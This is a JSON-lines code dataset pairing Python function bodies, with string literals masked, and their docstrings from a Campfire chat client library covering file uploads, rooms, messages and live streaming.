{"signature": "def _finish(self, forced=False):", "body": "if hasattr(self, \"<STR_LIT>\") and self._current_file_handle:<EOL><INDENT>self._current_file_handle.close()<EOL><DEDENT>if self._current_deferred:<EOL><INDENT>self._current_deferred.callback(self._sent)<EOL>self._current_deferred = None<EOL><DEDENT>if not forced and self._deferred:<EOL><INDENT>self._deferred.callback(self._sent)<EOL><DEDENT>", "docstring": "Cleanup code after asked to stop producing.\n\n        Kwargs:\n            forced (bool): If True, we were forced to stop", "id": "f7978:c0:m6"}
{"signature": "def _send_to_consumer(self, block):", "body": "self._consumer.write(block)<EOL>self._sent += len(block)<EOL>if self._callback:<EOL><INDENT>self._callback(self._sent, self.length)<EOL><DEDENT>", "docstring": "Send a block of bytes to the consumer.\n\n        Args:\n            block (str): Block of bytes", "id": "f7978:c0:m7"}
{"signature": "def _length(self):", "body": "self._build_chunk_headers()<EOL>length = <NUM_LIT:0><EOL>if self._data:<EOL><INDENT>for field in self._data:<EOL><INDENT>length += len(self._chunk_headers[field])<EOL>length += len(self._data[field])<EOL>length += <NUM_LIT:2><EOL><DEDENT><DEDENT>if self._files:<EOL><INDENT>for field in self._files:<EOL><INDENT>length += len(self._chunk_headers[field])<EOL>length += self._file_size(field)<EOL>length += <NUM_LIT:2><EOL><DEDENT><DEDENT>length += len(self.boundary)<EOL>length += <NUM_LIT:6><EOL>return length<EOL>", "docstring": "Returns total length for this request.\n\n        Returns:\n            int. Length", "id": "f7978:c0:m8"}
{"signature": "def _build_chunk_headers(self):", "body": "if hasattr(self, \"<STR_LIT>\") and self._chunk_headers:<EOL><INDENT>return<EOL><DEDENT>self._chunk_headers = {}<EOL>for field in self._files:<EOL><INDENT>self._chunk_headers[field] = self._headers(field, True)<EOL><DEDENT>for field in self._data:<EOL><INDENT>self._chunk_headers[field] = self._headers(field)<EOL><DEDENT>", "docstring": "Build headers for each field.", "id": "f7978:c0:m9"}
{"signature": "def _headers(self, name, is_file=False):", "body": "value = self._files[name] if is_file else self._data[name]<EOL>_boundary = self.boundary.encode(\"<STR_LIT:utf-8>\") if isinstance(self.boundary, unicode) else urllib.quote_plus(self.boundary)<EOL>headers = [\"<STR_LIT>\" % _boundary]<EOL>if is_file:<EOL><INDENT>disposition = '<STR_LIT>' % (name, os.path.basename(value))<EOL><DEDENT>else:<EOL><INDENT>disposition = '<STR_LIT>' % name<EOL><DEDENT>headers.append(\"<STR_LIT>\" % disposition)<EOL>if is_file:<EOL><INDENT>file_type = self._file_type(name)<EOL><DEDENT>else:<EOL><INDENT>file_type = \"<STR_LIT>\"<EOL><DEDENT>headers.append(\"<STR_LIT>\" % file_type)<EOL>if is_file:<EOL><INDENT>headers.append(\"<STR_LIT>\" % self._file_size(name))<EOL><DEDENT>else:<EOL><INDENT>headers.append(\"<STR_LIT>\" % len(value))<EOL><DEDENT>headers.append(\"<STR_LIT>\")<EOL>headers.append(\"<STR_LIT>\")<EOL>return \"<STR_LIT:\\r\\n>\".join(headers)<EOL>", "docstring": "Returns the header of the encoding of this parameter.\n\n        Args:\n            name (str): Field name\n\n        Kwargs:\n            is_file (bool): If true, this is a file field\n\n        Returns:\n            array. Headers", "id": "f7978:c0:m10"}
{"signature": "def _boundary(self):", "body": "boundary = None<EOL>try:<EOL><INDENT>import uuid<EOL>boundary = uuid.uuid4().hex<EOL><DEDENT>except ImportError:<EOL><INDENT>import random, sha<EOL>bits = random.getrandbits(<NUM_LIT>)<EOL>boundary = sha.new(str(bits)).hexdigest()<EOL><DEDENT>return boundary<EOL>", "docstring": "Returns a random string to use as the boundary for a message.\n\n        Returns:\n            string. Boundary", "id": "f7978:c0:m11"}
{"signature": "def _file_type(self, field):", "body": "type = mimetypes.guess_type(self._files[field])[<NUM_LIT:0>]<EOL>return type.encode(\"<STR_LIT:utf-8>\") if isinstance(type, unicode) else str(type)<EOL>", "docstring": "Returns file type for given file field.\n\n        Args:\n            field (str): File field\n\n        Returns:\n            string. File type", "id": "f7978:c0:m12"}
{"signature": "def _file_size(self, field):", "body": "size = <NUM_LIT:0><EOL>try:<EOL><INDENT>handle = open(self._files[field], \"<STR_LIT:r>\")<EOL>size = os.fstat(handle.fileno()).st_size<EOL>handle.close()<EOL><DEDENT>except:<EOL><INDENT>size = <NUM_LIT:0><EOL><DEDENT>self._file_lengths[field] = size<EOL>return self._file_lengths[field]<EOL>", "docstring": "Returns the file size for given file field.\n\n        Args:\n            field (str): File field\n\n        Returns:\n            int. File size", "id": "f7978:c0:m13"}
{"signature": "def __init__(self, campfire, id):", "body": "super(Room, self).__init__(campfire)<EOL>self._load(id)<EOL>", "docstring": "Initialize.\n\n        Args:\n            campfire (:class:`Campfire`): Campfire instance\n            password (str): Room ID", "id": "f7980:c0:m0"}
{"signature": "def get_stream(self, error_callback=None, live=True):", "body": "self.join()<EOL>return Stream(self, error_callback=error_callback, live=live)<EOL>", "docstring": "Get room stream to listen for messages.\n\n        Kwargs:\n            error_callback (func): Callback to call when an error occurred (parameters: exception)\n            live (bool): If True, issue a live stream, otherwise an offline stream\n\n        Returns:\n            :class:`Stream`. Stream", "id": "f7980:c0:m2"}
{"signature": "def get_uploads(self):", "body": "return self._connection.get(\"<STR_LIT>\" % self.id, key=\"<STR_LIT>\")<EOL>", "docstring": "Get list of recent uploads.\n\n        Returns:\n            array. List of uploads", "id": "f7980:c0:m3"}
{"signature": "def get_users(self, sort=True):", "body": "self._load()<EOL>if sort:<EOL><INDENT>self.users.sort(key=operator.itemgetter(\"<STR_LIT:name>\"))<EOL><DEDENT>return self.users<EOL>", "docstring": "Get list of users in the room.\n\n        Kwargs:\n            sort (bool): If True, sort rooms by name\n\n        Returns:\n            array. List of users", "id": "f7980:c0:m4"}
{"signature": "def join(self):", "body": "return self._connection.post(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Join room.\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m5"}
{"signature": "def leave(self):", "body": "return self._connection.post(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Leave room.\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m6"}
{"signature": "def lock(self):", "body": "return self._connection.post(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Lock room.\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m7"}
{"signature": "def recent(self, message_id=None, limit=None):", "body": "parameters = {}<EOL>if message_id:<EOL><INDENT>parameters[\"<STR_LIT>\"] = message_id<EOL><DEDENT>if limit:<EOL><INDENT>parameters[\"<STR_LIT>\"] = limit<EOL><DEDENT>messages = self._connection.get(\"<STR_LIT>\" % self.id, key=\"<STR_LIT>\", parameters=parameters)<EOL>if messages:<EOL><INDENT>messages = [Message(self._campfire, message) for message in messages]<EOL><DEDENT>return messages<EOL>", "docstring": "Recent messages.\n\n        Kwargs:\n            message_id (int): If specified, return messages since the specified message ID\n            limit (int): If specified, limit the number of messages\n\n        Returns:\n            array. Messages", "id": "f7980:c0:m8"}
{"signature": "def set_name(self, name):", "body": "if not self._campfire.get_user().admin:<EOL><INDENT>return False<EOL><DEDENT>result = self._connection.put(\"<STR_LIT>\" % self.id, {\"<STR_LIT>\": {\"<STR_LIT:name>\": name}})<EOL>if result[\"<STR_LIT:success>\"]:<EOL><INDENT>self._load()<EOL><DEDENT>return result[\"<STR_LIT:success>\"]<EOL>", "docstring": "Set the room name.\n\n        Args:\n            name (str): Name\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m9"}
{"signature": "def set_topic(self, topic):", "body": "if not topic:<EOL><INDENT>topic = '<STR_LIT>'<EOL><DEDENT>result = self._connection.put(\"<STR_LIT>\" % self.id, {\"<STR_LIT>\": {\"<STR_LIT>\": topic}})<EOL>if result[\"<STR_LIT:success>\"]:<EOL><INDENT>self._load()<EOL><DEDENT>return result[\"<STR_LIT:success>\"]<EOL>", "docstring": "Set the room topic.\n\n        Args:\n            topic (str): Topic\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m10"}
{"signature": "def speak(self, message):", "body": "campfire = self.get_campfire()<EOL>if not isinstance(message, Message):<EOL><INDENT>message = Message(campfire, message)<EOL><DEDENT>result = self._connection.post(<EOL>\"<STR_LIT>\" % self.id,<EOL>{\"<STR_LIT:message>\": message.get_data()},<EOL>parse_data=True,<EOL>key=\"<STR_LIT:message>\"<EOL>)<EOL>if result[\"<STR_LIT:success>\"]:<EOL><INDENT>return Message(campfire, result[\"<STR_LIT:data>\"])<EOL><DEDENT>return result[\"<STR_LIT:success>\"]<EOL>", "docstring": "Post a message.\n\n        Args:\n            message (:class:`Message` or string): Message\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m11"}
{"signature": "def transcript(self, for_date=None):", "body": "url = \"<STR_LIT>\" % self.id<EOL>if for_date:<EOL><INDENT>url = \"<STR_LIT>\" % (url, for_date.year, for_date.month, for_date.day)<EOL><DEDENT>messages = self._connection.get(url, key=\"<STR_LIT>\")<EOL>if messages:<EOL><INDENT>messages = [Message(self._campfire, message) for message in messages]<EOL><DEDENT>return messages<EOL>", "docstring": "Recent messages.\n\n        Kwargs:\n            for_date (date): If specified, get the transcript for this specific date\n\n        Returns:\n            array. Messages", "id": "f7980:c0:m12"}
{"signature": "def unlock(self):", "body": "return self._connection.post(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Unlock room.\n\n        Returns:\n            bool. Success", "id": "f7980:c0:m13"}
{"signature": "def upload(self, path, progress_callback=None, finished_callback=None, error_callback=None):", "body": "return Upload(<EOL>self,<EOL>{\"<STR_LIT>\": path},<EOL>progress_callback = progress_callback,<EOL>finished_callback = finished_callback,<EOL>error_callback = error_callback<EOL>)<EOL>", "docstring": "Create a new thread to upload a file (thread should be\n        then started with start() to perform upload.)\n\n        Args:\n            path (str): Path to file\n\n        Kwargs:\n            progress_callback (func): Callback to call as file is uploaded (parameters: current, total)\n            finished_callback (func): Callback to call when upload is finished\n            error_callback (func): Callback to call when an error occurred (parameters: exception)\n\n        Returns:\n            :class:`Upload`. Upload thread", "id": "f7980:c0:m14"}
{"signature": "def __init__(self, campfire, id, current=False):", "body": "super(User, self).__init__(campfire)<EOL>self.set_data(self._connection.get(\"<STR_LIT>\" % id, key=\"<STR_LIT:user>\"))<EOL>self.current = current<EOL>", "docstring": "Initialize.\n\n        Args:\n            campfire (:class:`Campfire`): Campfire instance\n            id (str): User ID\n\n        Kwargs:\n            current (bool): Wether user is current user, or not", "id": "f7982:c0:m0"}
{"signature": "def __init__(self, campfire, data):", "body": "dataType = type(data)<EOL>if dataType == types.StringType or dataType == types.UnicodeType:<EOL><INDENT>messageType = self._TYPE_PASTE if data.find(\"<STR_LIT:\\n>\") >= <NUM_LIT:0> else self._TYPE_TEXT<EOL>if messageType == self._TYPE_TEXT:<EOL><INDENT>matches = re.match(\"<STR_LIT>\", data)<EOL>if matches:<EOL><INDENT>messageType = self._TYPE_TWEET<EOL><DEDENT><DEDENT>data = {<EOL>\"<STR_LIT:type>\": messageType,<EOL>\"<STR_LIT:body>\": data<EOL>}<EOL><DEDENT>super(Message, self).__init__(campfire)<EOL>self.set_data(data, [\"<STR_LIT>\"])<EOL>self.user = None<EOL>self.room = None<EOL>if \"<STR_LIT>\" in data and data[\"<STR_LIT>\"]:<EOL><INDENT>self.user = self._campfire.get_user(data[\"<STR_LIT>\"])<EOL><DEDENT>if \"<STR_LIT>\" in data and data[\"<STR_LIT>\"]:<EOL><INDENT>self.room = self._campfire.get_room(data[\"<STR_LIT>\"])<EOL>if self.is_upload():<EOL><INDENT>self.upload = self._connection.get(\"<STR_LIT>\" % (self.room.id, self.id), key=\"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in self.upload:<EOL><INDENT>self.upload[\"<STR_LIT:url>\"] = self.upload[\"<STR_LIT>\"]<EOL>del self.upload[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT><DEDENT>if self.is_tweet():<EOL><INDENT>matches = re.match(\"<STR_LIT>\", self.body)<EOL>if matches:<EOL><INDENT>self.tweet = {<EOL>\"<STR_LIT>\": matches.group(<NUM_LIT:1>),<EOL>\"<STR_LIT:user>\": matches.group(<NUM_LIT:2>),<EOL>\"<STR_LIT:url>\": matches.group(<NUM_LIT:3>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>tweet_data = {}<EOL>if re.match(\"<STR_LIT>\", self.body):<EOL><INDENT>for line in self.body.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>:]:<EOL><INDENT>matches = re.match('<STR_LIT>', line)<EOL>if matches:<EOL><INDENT>tweet_data[matches.group(<NUM_LIT:1>)] = matches.group(<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>if tweet_data and \"<STR_LIT>\" in tweet_data and \"<STR_LIT:message>\" in tweet_data and \"<STR_LIT:id>\" in tweet_data:<EOL><INDENT>self.tweet = {<EOL>\"<STR_LIT>\": tweet_data[\"<STR_LIT:message>\"],<EOL>\"<STR_LIT:user>\": tweet_data[\"<STR_LIT>\"],<EOL>\"<STR_LIT:url>\": \"<STR_LIT>\" % (tweet_data[\"<STR_LIT>\"], tweet_data[\"<STR_LIT:id>\"])<EOL>}<EOL><DEDENT>else:<EOL><INDENT>self.type = self._TYPE_TEXT<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Initialize.\n\n        Args:\n            campfire (:class:`Campfire`): Campfire instance\n            data (dict or str): If string, message type will be set to either paste or text", "id": "f7983:c0:m0"}
{"signature": "def is_by_current_user(self):", "body": "return self.user.id == self._campfire.get_user().id<EOL>", "docstring": "Tells if this message was written by the current user.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m1"}
{"signature": "def is_joining(self):", "body": "return self.type == self._TYPE_ENTER<EOL>", "docstring": "Tells if this message is a room join message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m2"}
{"signature": "def is_kick(self):", "body": "return self.type == self._TYPE_KICK<EOL>", "docstring": "Tells if this message is a room kick message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m3"}
{"signature": "def is_leaving(self):", "body": "return self.type == self._TYPE_LEAVE<EOL>", "docstring": "Tells if this message is a room leave message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m4"}
{"signature": "def is_paste(self):", "body": "return self.type == self._TYPE_PASTE<EOL>", "docstring": "Tells if this message is a paste.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m5"}
{"signature": "def is_text(self):", "body": "return self.type in [<EOL>self._TYPE_PASTE,<EOL>self._TYPE_TEXT,<EOL>self._TYPE_TWEET<EOL>]<EOL>", "docstring": "Tells if this message is a text message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m6"}
{"signature": "def is_timestamp(self):", "body": "return self.type == self._TYPE_TIMESTAMP<EOL>", "docstring": "Tells if this message is a timestamp.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m7"}
{"signature": "def is_topic_change(self):", "body": "return self.type == self._TYPE_TOPIC_CHANGE<EOL>", "docstring": "Tells if this message is a topic change.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m8"}
{"signature": "def is_tweet(self):", "body": "return self.type == self._TYPE_TWEET<EOL>", "docstring": "Tells if this message is a tweet.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m9"}
{"signature": "def is_upload(self):", "body": "return self.type == self._TYPE_UPLOAD<EOL>", "docstring": "Tells if this message is an upload message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m10"}
{"signature": "def highlight(self):", "body": "return self._connection.post(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Highlights a message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m11"}
{"signature": "def remove_highlight(self):", "body": "return self._connection.delete(\"<STR_LIT>\" % self.id)[\"<STR_LIT:success>\"]<EOL>", "docstring": "Removes the highlight of a message.\n\n        Returns:\n            bool. Success", "id": "f7983:c0:m12"}
{"signature": "def __init__(self, room, live=True, error_callback=None, pause=None, use_process=True):", "body": "if not live:<EOL><INDENT>if pause is None:<EOL><INDENT>pause = <NUM_LIT:1><EOL><DEDENT>assert pause > <NUM_LIT:0>, '<STR_LIT>'<EOL><DEDENT>elif pause is None:<EOL><INDENT>pause = <NUM_LIT><EOL><DEDENT>Thread.__init__(self)<EOL>self._room = room<EOL>self._live = live<EOL>self._observers = []<EOL>self._error_callback = error_callback<EOL>self._pause = pause<EOL>self._use_process = use_process<EOL>self._streaming = False<EOL>", "docstring": "Initialize.\n\n        Args:\n            room (:class:`Room`): Room that is being streamed\n\n        Kwargs:\n            live (bool): If True, issue a live stream, otherwise an offline stream\n            error_callback (func): A callback to call when an error occurs\n            pause (int): Pause in seconds between requests (if live==False), or pause\n                         between queue checks\n            use_process (bool): If True, use a separate process to fetch the messages\n\n        Raises:\n            AssertionError", "id": "f7984:c0:m0"}
{"signature": "def attach(self, observer):", "body": "if not observer in self._observers:<EOL><INDENT>self._observers.append(observer)<EOL><DEDENT>return self<EOL>", "docstring": "Attach an observer.\n\n        Args:\n            observer (func): A function to be called when new messages arrive\n\n        Returns:\n            :class:`Stream`. Current instance to allow chaining", "id": "f7984:c0:m1"}
{"signature": "def detach(self, observer):", "body": "try:<EOL><INDENT>self._observers.remove(observer)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>return self<EOL>", "docstring": "Detach an observer.\n\n        Args:\n            observer (func): The observer function already attached\n\n        Returns:\n            :class:`Stream`. Current instance to allow chaining", "id": "f7984:c0:m2"}
{"signature": "def incoming(self, messages):", "body": "if self._observers:<EOL><INDENT>campfire = self._room.get_campfire()<EOL>for message in messages:<EOL><INDENT>for observer in self._observers:<EOL><INDENT>observer(Message(campfire, message))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Called when incoming messages arrive.\n\n        Args:\n            messages (tuple): Messages (each message is a dict)", "id": "f7984:c0:m3"}
{"signature": "def is_streaming(self):", "body": "return self._streaming<EOL>", "docstring": "Tell if streaming is in progress.\n\n        Returns:\n            bool. Success", "id": "f7984:c0:m4"}
{"signature": "def stop(self):", "body": "self._abort = True<EOL>return self<EOL>", "docstring": "Stop streaming.\n\n        It is recommended that you call join() after stopping this thread.\n\n        Returns:\n            :class:`Stream`. Current instance to allow chaining", "id": "f7984:c0:m5"}
{"signature": "def run(self):", "body": "if self._live:<EOL><INDENT>self._use_process = True<EOL><DEDENT>self._abort = False<EOL>campfire = self._room.get_campfire()<EOL>if self._live:<EOL><INDENT>process = LiveStreamProcess(campfire.get_connection().get_settings(), self._room.id)<EOL><DEDENT>else:<EOL><INDENT>process = StreamProcess(campfire.get_connection().get_settings(), self._room.id, pause=self._pause)<EOL><DEDENT>if not self._use_process:<EOL><INDENT>process.set_callback(self.incoming)<EOL><DEDENT>if self._use_process:<EOL><INDENT>queue = Queue()<EOL>process.set_queue(queue)<EOL>process.start()<EOL>if not process.is_alive():<EOL><INDENT>return<EOL><DEDENT><DEDENT>self._streaming = True<EOL>while not self._abort:<EOL><INDENT>if self._use_process:<EOL><INDENT>if not process.is_alive():<EOL><INDENT>self._abort = True<EOL>break<EOL><DEDENT>try:<EOL><INDENT>incoming = queue.get_nowait()<EOL>if isinstance(incoming, list):<EOL><INDENT>self.incoming(incoming)<EOL><DEDENT>elif isinstance(incoming, Exception):<EOL><INDENT>self._abort = True<EOL>if self._error_callback:<EOL><INDENT>self._error_callback(incoming, self._room)<EOL><DEDENT><DEDENT><DEDENT>except Empty:<EOL><INDENT>time.sleep(self._pause)<EOL>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>process.fetch()<EOL>time.sleep(self._pause)<EOL><DEDENT><DEDENT>self._streaming = False<EOL>if self._use_process and self._abort and not process.is_alive() and self._error_callback:<EOL><INDENT>self._error_callback(Exception(\"<STR_LIT>\"), self._room)<EOL><DEDENT>if self._use_process:<EOL><INDENT>queue.close()<EOL>if process.is_alive():<EOL><INDENT>process.stop()<EOL>process.terminate()<EOL><DEDENT>process.join()<EOL><DEDENT>", "docstring": "Called by the thread, it runs the process.\n\n        NEVER call this method directly. Instead call start() to start the thread.\n\n        To stop, call stop(), and then join()", "id": "f7984:c0:m6"}
{"signature": "def __init__(self, settings, room_id, pause=<NUM_LIT:1>):", "body": "Process.__init__(self)<EOL>self._pause = pause<EOL>self._room_id = room_id<EOL>self._callback = None<EOL>self._queue = None<EOL>self._connection = Connection.create_from_settings(settings)<EOL>self._last_message_id = None<EOL>", "docstring": "Initialize.\n\n        Args:\n            settings (dict): Settings used to create a :class:`Connection` instance\n            room_id (int): Room ID\n\n        Kwargs:\n            pause (int): Pause in seconds between requests", "id": "f7984:c1:m0"}
{"signature": "def get_room_id(self):", "body": "return self._room_id<EOL>", "docstring": "Get room ID.\n\n        Returns:\n            int. Room ID", "id": "f7984:c1:m1"}
{"signature": "def set_callback(self, callback):", "body": "self._callback = callback<EOL>", "docstring": "Set callback.\n\n        Args:\n            callback (func): Called when new messages arrive", "id": "f7984:c1:m2"}
{"signature": "def set_queue(self, queue):", "body": "self._queue = queue<EOL>", "docstring": "Set the queue to communicate between processes.\n\n        Args:\n            queue (:class:`multiprocessing.Queue`): Queue to share data between processes", "id": "f7984:c1:m3"}
{"signature": "def run(self):", "body": "if not self._queue:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>while True:<EOL><INDENT>self.fetch()<EOL>time.sleep(self._pause)<EOL><DEDENT>", "docstring": "Called by the process, it runs it.\n\n        NEVER call this method directly. Instead call start() to start the separate process.\n        If you don't want to use a second process, then call fetch() directly on this istance.\n\n        To stop, call terminate()", "id": "f7984:c1:m4"}
{"signature": "def fetch(self):", "body": "try:<EOL><INDENT>if not self._last_message_id:<EOL><INDENT>messages = self._connection.get(\"<STR_LIT>\" % self._room_id, key=\"<STR_LIT>\", parameters={<EOL>\"<STR_LIT>\": <NUM_LIT:1><EOL>})<EOL>self._last_message_id = messages[-<NUM_LIT:1>][\"<STR_LIT:id>\"]<EOL><DEDENT>messages = self._connection.get(\"<STR_LIT>\" % self._room_id, key=\"<STR_LIT>\", parameters={<EOL>\"<STR_LIT>\": self._last_message_id<EOL>})<EOL><DEDENT>except:<EOL><INDENT>messages = []<EOL><DEDENT>if messages:<EOL><INDENT>self._last_message_id = messages[-<NUM_LIT:1>][\"<STR_LIT:id>\"]<EOL><DEDENT>self.received(messages)<EOL>", "docstring": "Fetch new messages.", "id": "f7984:c1:m5"}
{"signature": "def received(self, messages):", "body": "if messages:<EOL><INDENT>if self._queue:<EOL><INDENT>self._queue.put_nowait(messages)<EOL><DEDENT>if self._callback:<EOL><INDENT>self._callback(messages)<EOL><DEDENT><DEDENT>", "docstring": "Called when new messages arrive.\n\n        Args:\n            messages (tuple): Messages", "id": "f7984:c1:m7"}
{"signature": "def __init__(self, settings, room_id):", "body": "StreamProcess.__init__(self, settings, room_id)<EOL>self._reactor = self._connection.get_twisted_reactor()<EOL>self._protocol = None<EOL>", "docstring": "Initialize.\n\n        Args:\n            settings (dict): Settings used to create a :class:`Connection` instance\n            room_id (int): Room ID", "id": "f7984:c2:m0"}
{"signature": "def get_connection(self):", "body": "return self._connection<EOL>", "docstring": "Get connection\n\n        Returns:\n            :class:`Connection`. Connection", "id": "f7984:c2:m1"}
{"signature": "def set_protocol(self, protocol):", "body": "self._protocol = protocol<EOL>", "docstring": "Set protocol.\n\n        Args:\n            :class:`LiveStreamProtocol`: Protocol", "id": "f7984:c2:m2"}
{"signature": "def run(self):", "body": "if not self._queue:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>factory = LiveStreamFactory(self)<EOL>self._reactor.connectSSL(\"<STR_LIT>\", <NUM_LIT>, factory, ssl.ClientContextFactory())<EOL>self._reactor.run()<EOL>", "docstring": "Called by the process, it runs it.\n\n        NEVER call this method directly. Instead call start() to start the separate process.\n        If you don't want to use a second process, then call fetch() directly on this istance.\n\n        To stop, call terminate()", "id": "f7984:c2:m3"}
{"signature": "def stop(self):", "body": "if self._protocol:<EOL><INDENT>self._protocol.factory.continueTrying = <NUM_LIT:0><EOL>self._protocol.transport.loseConnection()<EOL><DEDENT>if self._reactor and self._reactor.running:<EOL><INDENT>self._reactor.stop()<EOL><DEDENT>", "docstring": "Stop streaming", "id": "f7984:c2:m4"}
{"signature": "def connected(self):", "body": "pass<EOL>", "docstring": "Callback when a connection is made.", "id": "f7984:c2:m5"}
{"signature": "def disconnected(self, reason):", "body": "self._queue.put(reason)<EOL>", "docstring": "Callback when an attempt to connect failed, or when connection is dropped.\n\n        Args:\n            reason (Exception): Exception", "id": "f7984:c2:m6"}
{"signature": "def __init__(self):", "body": "self._in_header = True<EOL>self._headers = []<EOL>self._len_expected = None<EOL>self._buffer = \"<STR_LIT>\"<EOL>", "docstring": "Constructor.", "id": "f7984:c3:m0"}
{"signature": "def connectionMade(self):", "body": "headers = [<EOL>\"<STR_LIT>\" % (\"<STR_LIT>\" % self.factory.get_stream().get_room_id())<EOL>]<EOL>connection_headers = self.factory.get_stream().get_connection().get_headers()<EOL>for header in connection_headers:<EOL><INDENT>headers.append(\"<STR_LIT>\" % (header, connection_headers[header]))<EOL><DEDENT>headers.append(\"<STR_LIT>\")<EOL>self.transport.write(\"<STR_LIT:\\r\\n>\".join(headers) + \"<STR_LIT>\")<EOL>self.factory.get_stream().set_protocol(self)<EOL>", "docstring": "Called when a connection is made, and used to send out headers", "id": "f7984:c3:m1"}
{"signature": "def lineReceived(self, line):", "body": "while self._in_header:<EOL><INDENT>if line:<EOL><INDENT>self._headers.append(line)<EOL><DEDENT>else:<EOL><INDENT>http, status, message = self._headers[<NUM_LIT:0>].split(\"<STR_LIT:U+0020>\", <NUM_LIT:2>)<EOL>status = int(status)<EOL>if status == <NUM_LIT:200>:<EOL><INDENT>self.factory.get_stream().connected()<EOL><DEDENT>else:<EOL><INDENT>self.factory.continueTrying = <NUM_LIT:0><EOL>self.transport.loseConnection()<EOL>self.factory.get_stream().disconnected(RuntimeError(status, message))<EOL>return<EOL><DEDENT>self._in_header = False<EOL><DEDENT>break<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self._len_expected = int(line, <NUM_LIT:16>)<EOL>self.setRawMode()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Callback issued by twisted when new line arrives.\n\n        Args:\n            line (str): Incoming line", "id": "f7984:c3:m2"}
{"signature": "def rawDataReceived(self, data):", "body": "if self._len_expected is not None:<EOL><INDENT>data, extra = data[:self._len_expected], data[self._len_expected:]<EOL>self._len_expected -= len(data)<EOL><DEDENT>else:<EOL><INDENT>extra = \"<STR_LIT>\"<EOL><DEDENT>self._buffer += data<EOL>if self._len_expected == <NUM_LIT:0>:<EOL><INDENT>data = self._buffer.strip()<EOL>if data:<EOL><INDENT>lines = data.split(\"<STR_LIT:\\r>\")<EOL>for line in lines:<EOL><INDENT>try:<EOL><INDENT>message = self.factory.get_stream().get_connection().parse(line)<EOL>if message:<EOL><INDENT>self.factory.get_stream().received([message])<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>self._buffer = \"<STR_LIT>\"<EOL>self._len_expected = None<EOL>self.setLineMode(extra)<EOL><DEDENT>", "docstring": "Process data.\n\n        Args:\n            data (str): Incoming data", "id": "f7984:c3:m3"}
{"signature": "def __init__(self, stream):", "body": "self._stream = stream<EOL>", "docstring": "Initialize.\n\n        Args:\n            stream (:class:`LiveStreamProcess`): process receiving messages", "id": "f7984:c4:m0"}
{"signature": "def get_stream(self):", "body": "return self._stream<EOL>", "docstring": "Get stream.\n\n        Returns:\n            stream (:class:`LiveStreamProcess`): process receiving messages", "id": "f7984:c4:m1"}
{"signature": "def __init__(self, subdomain, username, password, ssl=False, currentUser=None):", "body": "self.base_url = \"<STR_LIT>\" % (\"<STR_LIT:s>\" if ssl else \"<STR_LIT>\", subdomain)<EOL>self._settings = {<EOL>\"<STR_LIT>\": subdomain,<EOL>\"<STR_LIT:username>\": username,<EOL>\"<STR_LIT:password>\": password,<EOL>\"<STR_LIT>\": ssl<EOL>}<EOL>self._user = currentUser<EOL>self._users = {}<EOL>self._rooms = {}<EOL>if not self._user:<EOL><INDENT>_connection = Connection(url=\"<STR_LIT>\" % self.base_url, user=username, password=password)<EOL>user = _connection.get(key=\"<STR_LIT:user>\")<EOL><DEDENT>self._connection = Connection(<EOL>base_url=self.base_url, <EOL>user=self._user.token if self._user else user[\"<STR_LIT>\"], <EOL>password=\"<STR_LIT:x>\"<EOL>)<EOL>if self._user:<EOL><INDENT>self._user.set_connection(self._connection)<EOL><DEDENT>else:<EOL><INDENT>self._user = User(self, user[\"<STR_LIT:id>\"], current=True)<EOL>self._user.token = user[\"<STR_LIT>\"]<EOL><DEDENT>", "docstring": "Initialize.\n\n        Args:\n            subdomain (str): Campfire subdomain\n            username (str): User\n            password (str): pasword\n\n        Kwargs:\n            ssl (bool): enabled status of SSL\n            currentUser (:class:`User`): If specified, don't auto load current user, use this one instead", "id": "f7985:c1:m0"}
{"signature": "def __copy__(self):", "body": "return Campfire(<EOL>self._settings[\"<STR_LIT>\"],<EOL>self._settings[\"<STR_LIT:username>\"],<EOL>self._settings[\"<STR_LIT:password>\"],<EOL>self._settings[\"<STR_LIT>\"],<EOL>self._user<EOL>)<EOL>", "docstring": "Clone.\n\n        Returns:\n            :class:`Campfire`. Cloned instance", "id": "f7985:c1:m1"}
{"signature": "def get_connection(self):", "body": "return self._connection<EOL>", "docstring": "Get connection\n\n        Returns:\n            :class:`Connection`. Connection", "id": "f7985:c1:m2"}
